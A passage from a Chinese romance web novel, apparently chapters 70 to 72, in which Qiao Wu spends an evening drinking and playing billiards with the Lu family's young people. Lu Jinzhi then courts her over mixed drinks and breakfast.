有人提前去开门,在屋里不觉得,乔梧出来了才被冷风吹得一激灵。 早上出来时她是拿了外套的,只不过进来以后就脱掉了,想着只有几步路,一会儿还要回来,她也没打算再回去拿。 可还没完全走出去呢,眼前就挡了个大个子。 “你外套呢?”陆应池皱着眉看她,“我记得你穿出来了。” 乔梧:“没事,几步路。” 陆应池跟堵墙似的站在那:“不行,感冒怎么办?” 其他人:“???” 你刚才可不是这么说的! 我们也都听了你之前的话,现在也没穿! 乔梧无奈,只好回去拿。 “算了。”陆应池却又越过她,飞快地跑回藏书楼,锁定目标到拿完衣服出来,也就一小会儿的事。 仗着个子高,他动作自然地将衣服展开绕过乔梧,给她套上,还试图去扯她的手给她套袖子。 乔梧眉心直跳,躲过他的动作:“我是没手吗?” 陆应池这才意识到自己在做什么。 他愣了下,垂眸看到自己几乎一双手就要把乔梧给拢在怀里了。 可下一秒乔梧就从他怀里退了出去,自己套上衣服,牵着陆柠往前走。 看着她的动作,陆应池才后知后觉地收回手,一回头,所有人都在用诡异的目光盯着他。 “看什么看?”陆应池纳闷,“走了。” 叶梁:“哥,我也没穿衣服。” “脑子没问题吧?”陆应池踹他一脚,“出来不知道拿?赶紧去。” 叶梁哼哼:“你怎么不这么跟乔姐姐说。” “你跟她能一样么?” 之前送他们来的车已经开回车库了,大家也没坐代步,而是走回去的。 看着旁边不发一言的陈彩文,费景明心里叹了口气,觉得也该让她清楚一点。 倒不是说门不当户不对的事儿,而是乔梧这种人实在是太难以超越了。 如果陆应池真的喜欢她,那还有陈彩文是什么事儿。 所以费景明问:“乔姐姐这么优秀,喜欢她追她的人很多吧。” 一直盯着前面那个背影的陆应池脑袋里有根弦狠狠跳了一下,但仔细一想好像也没什么问题:“那不是应该的吗?” “……” 哥们,你天赋点是都点在外表上了吗? 费景明又问:“她没男朋友?” 闻言陆应池差点跳起来:“什么歪瓜裂枣也能配得上她?” 他想象了一下乔梧身边会站着一个不知道什么男人的场景。 无法想象。 忍无可忍。 费景明:“那谁配得上?” “我哪知道。”陆应池很排斥这个问题,脑子里还没得到答案就已经开始找补了,“她还那么年轻,着急谈什么男朋友,她还有自己的事业,而且事业才刚刚起步!你什么眼神?” 费景明耸耸肩,一副想笑却又不知道该说什么的样子。 好一会儿才斟酌着说:“你好像个毒唯啊。” 陆应池不追星,听不懂这些话,他只是一只紧绷着一根弦,再三确认:“你不要在她面前提这种话。” “放心。”费景明扫了旁边的陈彩文一眼,“没必要了。” 吃完午饭,大家又回到藏书楼把剩下的流程又顺了一遍。 陆应池也履行诺言,准备带大家去玩。 乔梧也被邀请上了。 本来乔梧的周末是要去静水别墅陪父亲的和老先生的,现在没能去成也是休息,所以也没有让他们扫兴,一并去了。 陆家有个年轻人自己玩娱乐室,外面有泳池,里面一楼是篮球室,二楼是游戏厅,基本能在室内玩的活动这里都有,也是陆应池和陆宣以前最常来的地方。 乔梧倒是来得少,因为这里建起来的时间都不是她自己的,只是有几分印象。 虽然不怎么打游戏,但她很喜欢桌球,她对成功打进一个球那瞬间的感觉比较着迷。 陆应池拿酒去了,其他同学纷纷在看自己喜欢玩什么,所以她拿了根杆自己跟自己玩了起来。 旁边吵吵闹闹的同学们听到一声砰,回头一看,乔梧已经打进一个球站起来,然后换了个位置,手往前伸,身体俯在桌面,修长的指尖搭在桌上,目光紧紧锁住一个位置。 大家呼吸都跟着紧绷起来。 紧接着又是一声,砰。 所有人忍不住跟着欢呼:“好球!” 乔梧抬头看了一眼,见都在看她,弯唇笑了笑:“你们玩你们的。” “乔姐姐。”叶梁绕过来,“我也会玩这个,我跟你打。” 乔梧欣然应下:“好。” 等陆应池拿完酒上楼时,就见朝着要打游戏的几人完全没有要打游戏的意思,而是三三两两围在台球桌前。 他将酒放下走过去。 恰好乔梧觉得头发有些碍事,随手将头发给扎了起来,一时之间她耳后和脖颈的皮肤也暴露在空气中,透着淡淡的薄红。 她的手一直都是凉的,怎么还有发红的地方? 她拿起球杆,球杆在她手上跟件艺术品似的,又俯下身对准碰了碰桌面,过了几秒,又将眼镜取下来放在一边。 陆应池越过人群沉默地看着对方的动作,她的位置就在他的正对 面,看轨迹的目光专注得让人也不由得被吸引过去。 那一杆往前一送,动作都好看到被逐帧变成了慢动作,球也在碰撞声中滚进洞中。 陆应池心底也瞬间一松。 见状乔梧笑了下,眼里含着些几可不察的自豪和肆意,抬起头的一瞬间她看到站在人群后面的陆应池,眸里的慵懒感还没散开,她微微挑眉:“回来了?” 陆应池慢了几秒才嗯了声,绕过人去能走到台前。 接下来依旧是乔梧的轮次,她只问了一句又开始专注自己的事情,衡量怎么入手。 这次她没有时间去看到底是谁在看她了,陆应池也可以没有任何顾忌的去关注她的一举一动。 球再次进洞。 “我靠。” 旁边的叶梁激动得一把抓住费景明的手,“帅得有点过火了。” 慕强又慕美。 谁看了都忍不住心动吧这种人! 陆应池听见了,他不满地回头看了叶梁一眼,可这一眼看去,发现同行所有人不管是男是女,都在看乔梧。 他不由得想起之前费景明问他的话。 “追她的人很多吧”。 什么样的人会那么没有自知之明来追她? 又是一阵喧哗,这次乔梧失误,到了叶梁的轮次。 她让开位置站到后面避免自己挡住他的动作,过了会儿,她身边凑过来一个人。 她抬眼一看,是陆应池。 他倒了一杯酒递到乔梧面前,杯子里倒是没有多少酒,就是给她喝着放松的。 乔梧今天心情还不错,所以接过来抿了口:“谢谢。” “我没见你打过桌球。”陆应池说。 “你没见过的事多了。” 陆应池不满意地说:“你又不让我每天跟你在一起。” “你也有自己的事做不是吗?”提到这个,乔梧倒是有些好奇,“怎么会想到要创业?” 陆应池下意识反驳:“你也得觉得我会败家?” “不。”乔梧笑道,“我很意外,因为你做得比我想象中好,也不存在败家这种说法。” 毕竟他一点都没想到要花家里的钱。 她说:“你应该不是为了钱。” 如果真的为了钱,那他走家里这条路会更快。 闻言陆应池今天一直有些不太舒畅的心终于松快了很多,他忍不住偷偷往乔梧身边靠了靠。 她果然很了解我! 他清清嗓子:“我的确不是为了钱,只是觉得很多事情要这样才看得见。” “嗯?” “你带我去那个村子。”陆应池说,“我以前没住过那种房子走过那种路吃过那种饭,所以我最开始很不能接受。” 乔梧耐心地听着他说。 “但是后来我发现,我能吃得下饭能睡得着觉也能翻过那座山。” 陆应池难得有几分正经的神色,又说:“所以我想,我跟一无所人的人从一无所有慢慢爬起来,能看到的东西经历的事情就会跟以前不一样,到了那个时候……” 他顿了顿。 没听到声音乔梧下意识往他这边偏了偏,露出来的耳朵在室内的温暖下透着淡淡的粉色。 陆应池将自己手里的酒一饮而尽,继续道:“我就会变得不一样了。” 他要的不是钱,是经历,到了那个时候他就有能力跟她说他也见过那些世面,所以他能体会她,也能保护她,可以有资格站在她身边,追得上她的脚步了。 也就有资格,像她说的那样跟她一起往前飞了吧。 乔梧怔了下。 原来那天他说“我答应你”是这个意思。 说完后陆应池忍不住捏紧了酒杯,低声问:“还不错吧?” 乔梧抬眸看到他那双有些忐忑的眼睛,没忍住笑了。 她抬起酒杯在陆应池的杯壁上轻轻碰了碰:“是很不错。” 清脆的声响敲得陆应池心神晃荡,他紧着喉咙问:“你认为我会成功吗?” 乔梧语调轻轻扬起来:“嗯?” 她将酒喝完,朝他晃晃杯子:“我觉得你能走出这一步,就已经成功了。” 陆应池感觉一杯酒就把自己灌醉了,忍不住又离她近了点:“如果真的失败了怎么办?” “那就失败。”乔梧笑道,“我给你兜底。” 兜底! 陆应池呆滞地看着她。 说不清心里是什么感觉,就只有一个念头。 这个人怎么会这么好。 他脑子有些晕,见乔梧放下杯子又要上前打球,忽然拽了拽她的衣摆:“乔梧。” “嗯?” 陆应池问:“追你的人很多吗?” 乔梧:“……?” 她心里微微一跳。 “你说什么?” “我说。”意识到自己问了个什么蠢问题,陆应池想咬自己舌头一下,他找补道,“不管是谁,你不要答应他们,都配不上你。” 乔梧眉梢挑了挑。 “谢谢提醒。” 还真有?! 陆应池表情扭曲了一瞬,又强行忍住:“不多吧?” 乔梧沉吟片刻,点头。 “嗯,不多,算是只有一个。” 陆应池开始回忆乔梧身边的雄性生物,眼里不自觉透出一股戾气。 又忍不住庆幸,还好只有一个。 所以到底踏马是谁啊! 70-80 第71章 第七十一章后空翻 乔梧继续去打球。 见陆应池站在墙角一副要吃人的样子,费景明挪过去:“你这什么表情?” 陆应池很烦躁,但他也说不清自己哪里烦躁,回头又往自己的杯子里倒酒,闷头就灌。 “有人追她。”他恶狠狠地说。 “……”费景明是真觉得陆应池可能脑子有根弦没搭上,“你不是说这不奇怪吗?” 不听不听,菩萨念经。 陆应池左耳进右耳出,将酒瓶往桌上一怼:“要是被我逮到,哼。” “陆应池。”费景明压低声音,“乔梧今年多大了?” “22。” “对,她22,也到了法定结婚年龄,别说有人追她了,就是她要跟人谈恋爱结婚你也管不着啊。”费景明说,“你陆家又不是天庭,还有禁止人处对象的规则吗?” 不说还好,一说陆应池就醍醐灌顶:“你提醒我了。” 今晚就在家规上加一条。 不准随便谈恋爱。 “你到 底有没有听我在说什么?” “我听了。”陆应池唇动了动,看着被大家围在中间的人,固执地说,“但我觉得不行。” 谁也不行。 费景明挑眉:“那谁行,你?” “放屁!”陆应池下意识否认,“我也不行。” 可说完这话后他却迷茫了一瞬。 想象了一下自己站在乔梧身边的样子,但……陆应池无法接受。 他追赶仰望乔梧的时间太久了,小时候尚且还能与她有些共同话题,但一转眼对方却超了他太多。 他心里发涩地想,连他也配不上的。 他只是想,她一直站在前面,哪怕让他像现在这样追赶着也行。 千万千万不要,再把她的目光分给任何一个人了。 费景明从来没见过这种人,自己不想谈,也不让别人谈,聊都聊不通。 最后只能说:“我祝你成功。”- 在公司加完班后的陆尽之并没有去静水别墅,而是回到了陆宅。 但家里安静得出奇,他回房间时只看到陆柠趴在地上跟小猫玩,其他人不见个影子。 乔梧今天要指导陆应池,但现在已经晚上九点了。 “乔梧呢?”他问。 “跟陆应池他们还在娱乐室那边玩。”陆柠年纪小不能喝酒,在那边待了没一会儿就跑回来跟呜呜玩了,“大人玩的游戏我玩不懂。” 陆尽之解领带的动作微微一顿:“大人的游戏?” “是啊。”陆柠点头,“群魔乱舞,乔梧今天还喝了好多酒,陆宣还说她不喜欢酒味呢。” 原本要换外套的动作停下来,陆尽之转身又走了出去。 陆柠探着脑袋:“二叔,你去哪?” 回答她的只有男人平淡的声音:“驱魔。” 乔梧今天的确喝得有些多,因为她的心情真的很不错。 上一辈子的她忙于学习忙于生存,并没有太多休息时间,而这辈子还被偷走了十二年,所以每个人的生命里最难以忘怀最无忧无虑的人生阶段她都没有经历过。 陆应池的同学们每一个都很乐观很积极,这让她能在其中偷来一点点错过的时光,以至于她几乎倾注了所有的情绪在里面。 被大家热烈的情绪感染,她也难得放肆。 纵容自己在家里醉这么一次,等到第二天醒来,她也还是她。 大家现在都围坐在一圈,把平日里在学校聚会玩的那些小游戏全都拿出来了,还玩上了真心话大冒险。 乔梧脑袋有些发昏,就没再继续,而是懒散地坐在角落的单人沙发上听着他们互相揭短。 地上铺了地毯,陆应池就坐在她那张沙发旁的地上,大脑袋时不时就随着往前跟人转酒瓶的动作蹭蹭她的手肘。 每次蹭到他就忍不住侧过头看一眼,发现乔梧靠在另外一边的扶手,没有注意到他的动作,于是他就更加安心地坐下来。 越靠越近。 直到那随意搭在一侧的手似有若无的碰到他的头发和耳廓,他才心满意足地停下。 咕噜噜。 空酒瓶在桌面再一次转动。 陆家没有真心话大冒险的牌,只能用酒瓶玩,指到谁谁就输。 这一次的瓶口对准了陈彩文。 作为在场唯二的女孩子,大家也没有太为难她,用手机给她抽真心话。 陈彩文点到其中一条。 “有没有喜欢的人。” 现场安静了一瞬,费景明试着问:“要不再点一下?” 其实除了陆应池,其他人多少都看得出来。 但陆应池实在是太直了,大家也不想让场面变得太难看。 “不用。”陈彩文喝了口酒,飞快地朝陆应池那边看了一眼。 可对方压根就没看她,而是侧着头盯着他脸侧的那只手在看。 陈彩文心里叹了口气,收回视线后给这段无疾而终的暗恋终于画上一个句号:“有。” 没有谁再追问她是谁。 大家很默契地继续下一轮。 倒是一直在看着他们玩的乔梧轻轻抬了下眉,哪怕酒后有些迟钝,她也能看得出来这些弟弟妹妹们明显的心思,太好猜了。 她往沙发边上那只大金毛看了一眼。 可由于视野盲区,她看不太清陆应池在做什么。 上了大学如果遇到有合适的人,谈一段恋爱也没什么,她还挺期待看到那一天的。 她难捱八卦的天性,直起身想看看陆应池的反应,只是随着动作手动了动,指尖忽然触到了一片滚烫。 坐在沙发边垂着脑袋的陆应池一下子抬起头,瞪圆了眼睛望过来。 他今天喝得也不少,脸上被酒意熏得有些红,刚才是碰到他的脸了。 可能陆应池也没想到会被她碰到,所以眼神有些震惊和躲闪。 乔梧想着人家还有个对他有意思的女孩在这儿,收回手:“离远点。” 原来没发现! 陆应池松了口气,十分不明显地往旁边挪了一毫米:“哦。” 几个同学的酒瓶已经转完一轮结束,看到瓶口对准的人,纷纷识趣道:“再来再来!” 乔姐姐陪着玩就好了,谁还敢去探听她的隐私啊。 可还没等费景明转瓶子,陆应池却忽然探身按住了瓶口,他扬着眉回头:“到你了。” 被指向的乔梧并没有参与这次游戏,但既然瓶口对准了自己,她也不介意玩一局,语气随意道:“问吧。” 没人敢问,只有陆应池眼珠子转了一圈:“你说追你的那个人是谁?” 乔梧:“……” 她缓缓扭头望向陆应池。 这人眼里的跃跃欲试不要太明显。 好像如果她回答了,下一秒他就要冲到人家面前去算账了。 她无奈:“罚几杯?” “不答罚五杯。”陆应池皱眉,“你不能再喝了,连名字也不能说吗?” 乔梧抬手去倒酒:“嗯。” 陆应池按住她拿酒的手,十分不爽地问:“为什么?” “对人不尊重。”乔梧随便找了个借口,“如果没追上,保护下人家隐私。” 没追上?! 追不上! 啊哈哈哈哈哈哈!!!! 陆应池瞬间就爽了。 “是是是。”他沉郁的心情在这一瞬间变得十分开朗,“是要给人留点面子。” 乔梧看着自己手腕上那只手,刚要打开,屋里就瞬间安静了下来。 坐在对面的所有人目光变得呆滞,像是在看她的身后。 乔梧偏了偏头,可忽然有只手从她脸侧伸了出来,一巴掌将陆应池的手打开了。 随着这个动作,身后那人未系的大衣垂落在她脸侧,几乎就要把她一半身子盖住,她的后脑好像也触碰到了什么东西。 在酒香四溢的屋子里,身后那人的味道显得格外清爽且突出。 “陆尽之?” 她还没出声,被打了一巴掌的陆应池就凶神恶煞地回头了,看到来人后表情凝固。 “你来这里干什么?” 家里这娱乐室就陆尽之就没踏足过,他那种人才不屑于沾染这些肤浅的娱乐。 陆尽之没回答他。 而是维持着俯身的姿势垂眸看向自己身前的人:“几杯?” 乔梧还没太反应过来,下意识回答:“五杯。” 下一秒,那只虚虚悬空在她手背上手动了,他单手搭在她的沙发背上,身体更往下压。 乔梧这才知道刚才触碰到自己后脑勺的东西,是他的领带,她不得不将自己的身体往旁边挪了挪,但扭头就是陆尽之搭在她耳旁的手。 陆尽之在桌上拿了一个干净的杯子倒回来,然后是第二个,第三个…第五个,紧接着将酒倒进去。 在所有人依旧呆滞的目光里,把五杯酒全都喝了下去。 最后一个空杯子落在桌上他才直起身子,缓缓对乔梧道:“我来找你。” “她现在是跟我们在玩。”陆应池不满地说,“都几点了,工作也要到明天再说,你是周扒皮吗?” 陆尽之将他碍事又不安分的脑袋像滚球一样滚远,没什么情绪道:“我会扒你的皮。” “?” 被停卡又被剥夺做父亲 的资格的陆应池看陆尽之不爽很久了,他趁着酒意撸起袖子就要站起来:“陆尽之,别以为我怕你,我现在就要跟你来一场爸爸之间的决斗!” “没有跟陆江抢饭碗的爱好。”陆尽之将他肩膀按住,回头问乔梧,“还玩吗?” 乔梧终于清醒了一点。 她如果这会儿说要继续玩,陆尽之一定会毫不犹豫也坐下来跟着一起玩。 那时候的画面,美到她不太敢看。 正好她现在也玩不到什么,便站起来:“你们先玩,我们去聊点事。” 陆尽之这才松开手,朝一众目瞪口呆的年轻人点了点头,走在乔梧身旁跟她一起下了楼。 “靠。”陆应池动了动自己的肩膀,“这只猴平时不是只坐办公室吗?猴劲那么大!” 给他肩膀都捏疼了! 几个同学纷纷好奇地问:“陆应池,那人是……” “陆尽之,没听过?”陆应池皱眉,“你们搜资料的时候不是还搜到他了么,我家珍稀物种,要是感兴趣,下次给50块钱门票,我每周让你们见他一次。” “……” 神经。 当然搜到过。 作为年轻一代的创业榜样,陆尽之简直就是个神一样的存在。 但看网图跟看现实里的人哪里一样! “珍稀物种?” 陆应池指指自己的脑袋:“他这里有点问题,不是正常人。” “不是天才吗?” “所以不是正常人啊。”陆应池理所当然道,“只有外面那些人把他看得跟神一样,整天都想跟他见一面,实际上心眼子多得要死,除了工作就是工作,除了看书就是看书,我怀疑他已经变态了。” “嘶。”陈彩文激动得手都在发抖,“斯文败类,高级腹黑,帅得要死!” 所有人默默地看着她。 陈彩文:“霸总标配,更刺激了。” 所有人:“???” 姐们,你干嘛呢!刚才可不是这个表情! 陆应池警惕地看着她:“霸总在我家是禁词,不能提。” “为什么?” “乔梧不喜欢。” “我看还好啊。”费景明摸着下巴,“你哥还帮她喝酒了。” “你懂什么。” 陆应池信誓旦旦,“一定是要乔梧给他工作,陆尽之这个人可猴精,把人带走工作就要给人点甜头,喝几杯酒而已,乔梧跟他……” 他刚想说小时候也就那样,不是很熟。 但想到上次在村里陆尽之还特意打电话,他停顿了下。 “反正乔梧不喜欢他,我家有个霸总排雷指南,条条框框全都指向他,这就说明了一切。” 他很确定,乔梧对陆尽之一定是很有意见的。 众人不明觉厉。 而这边,下了楼后的乔梧跟陆尽之一起走回主宅。 乔梧拢了拢衣领:“你怎么过来了?” 陆尽之慢条斯理道:“来听听看你是怎么尊重我的。” 乔梧:“……” 那会儿就听见了? 而后她身边又落下一声挺轻的笑意:“也不否认。” 否认什么,说你追不到? “不给未知问题做确切答案。”乔梧说,“也不算说错。” 因为两人步伐一致,她又不太想动脑子,所以一直都是随着陆尽之的节奏走,可走着走着却觉得不太对。 想着陆尽之是来找她的,可能真的有什么事,所以她也没说什么,直到跟陆尽之一起来到了酒库。 见他走近了吧台里,乔梧轻轻挑眉。 “陆柠还在陪她的猫。”陆尽之既然答应过让人进房间,就不会食言。 但他还不想那么早回去。 他笑道:“中途打扰你的兴致,给你补回来。” 乔梧在吧台前的高脚凳上坐下:“怎么补?” “私人特调,喝么?” 两人长大后喝过几次酒,但乔梧还真没有听说过陆尽之还会调酒。 她点了点台面:“试试。” 见他把杯子和酒都拿出来,乔梧才发现其中的关窍,酒都不用去取,陆尽之一早就准备好要带她过来了。 “万一我不跟你过来呢?”她好笑道。 陆尽之将杯子摆正:“我还没脆弱到听见有人说追不到就放弃。” 他打开酒,眼睑微抬:“机会留给有准备的人。” 乔梧懒得跟他贫:“什么时候学会的调酒?” “没学。”陆尽之说,“只是找点喜欢的味道。” 进了公司以后就少不了要应酬,所以他不太喜欢喝酒,为了让自己能适应,就调了很多自己喜欢的口味,每晚都喝一点,也就养成了习惯。 将杯子递到她面前:“尝尝?” 乔梧端起来闻了闻,倒是没闻到有什么区别,但轻抿一口就能尝出来淡淡的清甜味道了,酒味不是很重,适合聊天的时候喝,就像喝茶那样,是她喜欢的口味。 “你是不是做什么都很有天赋?”她好奇地问。 “也不是。”陆尽之也给自己倒了一杯,“追人也会被拒绝。” “……” 乔梧失笑:“没完了是吧?” “嗯。”陆尽之坦然承认,也笑,“没完。” 乔梧手肘搭在台面,支着下巴,见状饶有兴致地问:“如果你真的追不到呢?” 陆尽之喝酒的动作顿了下,他轻垂着眼睫,视线笼罩住眼前醉眼朦胧的人,将她所有跟过往不一样的模样都尽收眼底,轻笑:“你认识我以来,我有什么想做的事做不到?” 还真没有。 乔梧被他这种自信的语气激到了:“那你可能要遇到第一件了。” “不给未知问题做确切答案。”陆尽之将自己的酒杯跟她碰了碰,似乎没有把这份拒绝给放在心上,“你说的。” 这酒实在是很顺滑入口,乔梧不知不觉就将一杯喝完,她才放下杯子,就发现陆尽之正在目不转睛地看着她。 “你这种视线不太礼貌。” “抱歉,情不自禁。” 陆尽之给她换上另一杯:“看来你今天挺高兴。” “看得出来?” “嗯。”陆尽之说,“你以前不喜欢酒味。” 以前他大哥还在的时候,偶而应酬完也会来陪几个小辈玩。 那时的陆柠还没出生,家里就乔梧一个女孩,他大哥自然对小姑娘要多点爱护。 但是乔梧很不喜欢酒味,所以只要他大哥喝了酒,她就会远远地坐着。 “长大后发现,酒在有些时候是个好东西,是情绪激发剂。”乔梧也承认,“我今天的确很开心。” 可能是过去的很多事都一直藏在心里,她一个人困得太久,也可能是今天喝多了。 有个人在这儿陪她说话,而且是唯一一个知道她秘密的人,所以乔梧心底少了很多防备。 “陆尽之,我很羡慕他们。”她轻声说。 陆尽之动作停下来,看着她的眼睛:“羡慕什么?” “有朋友,有梦想,有青春。” 所以她才会把陆家的人,把钟禾静看得比想象中还要重要。 她没有太多朋友。 她很珍惜。 在这一刻,陆尽之忽然有了种很新奇的感觉,他忽然想起当初在村口,乔梧问过他“你会很辛苦吗”,当时因为太黑暗他体会不到的情绪,现在似乎体会到了。 “会很辛苦吗?” 他把这个问题问了回来。 乔梧愣了一下。 但混沌的脑子没有允许她回忆太多相似的片段,她认真考虑了一下,摇头:“谈不上。” 一模一样的回答。 陆尽之觉得自己应该会为了这种同频而感到愉悦,但他却无法感受到开心的情绪。 因为他深刻地知道自己的那一段时间,是怎么过来的。 “其实我拥有的东西已经很多了。” 乔梧并不是贪得无厌的人,清楚的知道自己如今得到了过去想象不到的资源,所以她并不会把自己困在回忆里太久,那样的话她就会只能止步不前了。 “只是偶而觉得有点遗憾而已。”她说。 说完后她又觉得自己过于矫情了,所以遮掩一样的端着酒杯将酒一饮而尽来缓解从心底升起来的羞耻感。 又给自己找补 道:“但是我还好。” 她说完后发现陆尽之一直没出声,忍不住抬头看去。 因为他站在吧台里,所以灯光会稍稍暗一些,单手撑在台面,一只手还拿着加冰块的夹子,眸里的眼神不似以往那么含着似有若无的笑意,而是很沉。 就那么一瞬不瞬地看着她。 “想什么呢?” 这句话好像才把陆尽之从刚才那种状态下拉回来,他用夹子夹起冰块放在杯子里,冰与玻璃碰撞出悦耳的声音。 他眼里的浓墨被浮现出来的笑意取代:“想亲你。” “……” 乔梧哪里见过这种世面。 刚才那些乱七八糟的念头都被这句话炸得渣都不剩了。 今晚喝的酒太多,热意一阵阵地升腾起来,乔梧觉得自己不能再喝了,她放下酒杯起身:“你是打算破罐破摔,扣多少分都无所谓了是吧。” 见状陆尽之也放下东西走出吧台,与她并肩而行:“物极必反。” 乔梧没好气道:“别把自己骚没了。” 陆尽之几可不察地笑了下:“你说对了。” 乔梧被冷风吹得打了个哆嗦,没听清他说了什么:“嗯?” 然后她看到陆尽之脱下自己的外套。 不会吧,不会是要给她吧? 挺尴尬的。 眼见他真的抬起手,乔梧下意识就要躲开。 但陆尽之根本没给她机会,直接从前往后给她围住了。 乔梧:“……” 不是,谁家好人这么给女生披衣服的?! 她震惊大过了尴尬。 而陆尽之一点都不觉得自己做了什么很离谱的事,他只是预判到了乔梧会拒绝,所以把她的手一起给包裹起来。 还在她背后用衣袖打了个结。 乔梧深吸一口气,甚至忘了这人系袖子的动作都像是在抱着她,板着脸问:“你觉得这样很浪漫吗?” “这样你不会挣扎。”陆尽之系好袖子,侧眸看着她不是很高兴的表情,有些匪夷所思,“挨冻浪漫?” 乔梧懒得跟他说。 她现在甚至觉得披衣服一点都不暧昧了。 她像个粽子。 陆尽之活该挨冻! “还不松手?”她扫了眼陆尽之依旧虚虚拢在两侧的手。 陆尽之略感遗憾:“发现了啊。” 他松开手,可却没有立刻挪开两人之间的距离:“你说对了,我的确遇到了第一件做不到的事。” “什么事?” 你终于发现自己干的不是人事儿了? 她头顶忽然被人轻轻碰了碰,像是那天得寸进尺一样,陆尽之的拇指指腹从头顶移向前,在她眉心按了按,轻轻划过,像是在安抚。 “我很心疼。”他轻声说。 但他却无法让她回到她的十八岁。 乔梧愣了下。 她知道陆尽之在说什么。 这时远处传来人声,应该是陆应池他们结束了,乔梧往后退了一步,远离了他的触碰。 陆尽之轻轻啧了声。 两人来到电梯口,乔梧今天喝多了酒,想着晚上有陆柠在,她就先不去陆尽之那里看猫了,所以按的是自己那一层。 陆尽之看了眼没说话。 电梯在他那一层停下,他却没急着走出去。 垂眸扫到自己身上的衣服,乔梧恍然:“衣……” 话没说完,陆尽之忽然偏过头来,十分自然地问:“猫崽会后空翻了,去看看?” “?” 第72章 第七十二章代入感很强 天才的脑子到底在想什么。 乔梧语气复杂:“你知道它还没断奶吗?” “嗯。”似是觉得这句话说得有些过于无厘头了,连陆尽之都忍不住轻轻笑出声来,“所以是我的借口。” “幼稚。” 虽然话是这么说,但不提还好,一提她就忍不住想要看看呜呜,所以还是走出了电梯。 身后陆尽之语调微微扬起:“管用就好。” 两人说着话,不远处的房门却忽然打开。 陆柠今晚在房间里陪了呜呜一晚上,喂完最后一次奶后才依依不舍打算回房睡觉,没想到一出来就遇到了两个人。 她视线在乔梧和二叔的身上转来转去:“乔梧,你为什么要穿二叔的衣服?” 她记得二叔出门驱魔的时候穿的就是这个。 “外面冷。”乔梧瞪了陆尽之一眼,“解开。” 后者失笑,抬手将她身后系上的袖子解开。 乔梧顺势把衣服扔到他身上,去推另外一侧门。 陆柠脱口而出:“你们今晚也要一起睡吗?” 乔梧差点被自己绊一脚,她深吸一口气回头揪住这小丫头的耳朵:“我来看呜呜。” 还有,什么叫也? “我也没有跟他一起睡过,不要乱说话。” “噢。” 陆柠揉揉自己的耳朵。 不睡就不睡,这么激动做什么。 “那我要睡觉了。”她说,“我刚刚喂过呜呜,一会儿不用喂了噢,晚安!” 乔梧自然地走进屋里:“晚安。” 担心自己的耳朵再惨遭二叔毒手,陆柠一点点贴着墙挪走。 庆幸的是她顺利跑到电梯口,二叔都没修整她。 她忍不住回头,发现二叔站在门口,将乔梧扔在他身上的那件外套整理好,然后缓缓抬起来,似是拿在鼻尖嗅了嗅。 噢! 二叔跟她一样,她也喜欢乔梧,也很喜欢闻乔梧身上的味道! 陆柠心里生出一种被认同感,激动之下不小心踹了一脚旁边的垃圾桶,哐当一声疼得她龇牙咧嘴。 然后她看到不远处的二叔听到动静侧过头来,就那么几秒的时间就很快收回去了,因为屋里乔梧在喊他。 门被啪嗒一声关上,电梯口的陆柠才从刚才的视线里回过神。 以前的二叔要么总是笑里藏刀,要么就冷冷淡淡没什么太大的情绪起伏。 可刚才隔着那段距离,二叔看过来的那一眼,却莫名让她不寒而栗,她从来没见过二叔眼里那么浓厚难明的情绪。 陆柠觉得自己闻到乔梧身上的味道时是很安心很满足也很开心的。 可二叔不像是开心,更像是不满足,沉沉的很吓人。 好怪。 屋里,陆尽之进来后把那件外套放在了床上,回头问:“怎么不坐?” “它睡着了。”乔梧说,“我马上就走。” 想到陆尽之今晚喝了酒,她说:“晚点我过来喂吧。” 自从呜呜拿到陆尽之的房间里,陆尽之给她的时间都是早上醒来那一截,这样她就不用中途醒来再喂。 陆尽之说他最近晚上都要加班,所以顺便喂了。 “你今天不是去公司了?晚上应该不用加班。” 陆尽之言简意赅:“要。” 公司那边如果有需要处理的紧急工作,徐朝也会给乔梧发一个备份方便她提醒协助陆尽之,但最近她都没有收到。 她蹙眉:“什么工作这么着急?我也能分担一点。” “想好了?”陆尽之笑问。 “想好什么?” “什么时候有空跟我去吃饭。” 乔梧怔了三秒才反应过来。 那天陆尽之说只要她空出时间,其他的就是他自己的事。 “你是为了空出时间等我?” 陆尽之没否认。 适当示弱是一件很好的武器。 “你真是……” 乔梧想说他不分轻重。 但这话到了嘴边却又说不出口,她以前从来没想过像陆尽之这样的人喜欢一个人会是什么样的。 可现在他,眉眼染上些酒后的微红,半倚在桌边静静地看着她,好像一直都在等着她给回答。 心理老师说要引导陆尽之这样的人一点点感知情绪。 可乔梧发现,陆尽之已经在把情绪做给她看了,清晰又明了。 他在为他的话付诸行动。 她无声叹了口气。 “陆尽之。” “嗯?” 乔梧笑道:“我明天就有空。” 须臾,站在她不远处的陆尽之唇边也染上 笑意:“我的荣幸。”- 虽然前一晚答应了陆尽之要一起吃饭,但第二天醒来后乔梧还是感觉有点不太习惯。 第一次跟人有这种暧昧关系的交往,这在她此前的人生里从来没经历过,她特意回了一趟自家小别墅,站在自己的衣帽间里沉思。 这种场合要穿什么衣服? 好像不能太正式,也不能太随意。 她昨天忘了问,也不知道陆尽之要带她去哪里吃饭。 挑了许久,她忽然反应过来,这难道不应该是陆尽之想的问题么?穿什么也是她的自由。 这么想着,她就挑了件浅蓝的大衣,搭了条围巾,就担心再被陆尽之给用袖子捆成粽子。 才一出门,就见自家门外停了辆车,陆尽之站在车外,与她对视。 他今天也不像上班时穿得那么正式,黑色毛衣外搭卡其色的休闲翻领大衣,少了几分成熟。 乔梧几可不察地松了口气。 如果他穿得太隆重,她可能会萌生出反悔的意图。 因为她认为两人在一起相处,是要以舒服为先,而不是一些复杂没必要的仪式。 今天是陆尽之自己开车,比起开船,他开车要更稳一些。 早冬的路面晨间飘着淡淡的雾气,乔梧到现在都没想明白,为什么有人请吃饭要早上七点出门,她连早餐都没来得及吃。 她问:“我们要去很远的地方吗?” “有一点。”陆尽之说。 行吧。 他来安排就行。 很快,车便开进了一个高档小区里。 陆尽之将车停在停车场,解开安全带:“到了。” 乔梧跟他一起下车:“这是哪?” “另一个家。” “嗯?” 她不解回头。 “我上大学时住在这儿。” 乔梧:? 她更茫然了。 跟着陆尽之上楼,他解锁进门。 是个二百来平的房子,装修陈设都很简单,倒是很符合陆尽之的风格。 屋里是有人的,见陆尽之来了,便问:“二少爷,现在要用早餐吗?” “嗯。” 乔梧懵逼地跟着他进门,见状疑惑地问:“所以你把我带来另一个家,就是为了吃一顿早餐?” “不止。” 乔梧脑子转了半天都摸不着头脑:“我能要一个解释吗?” 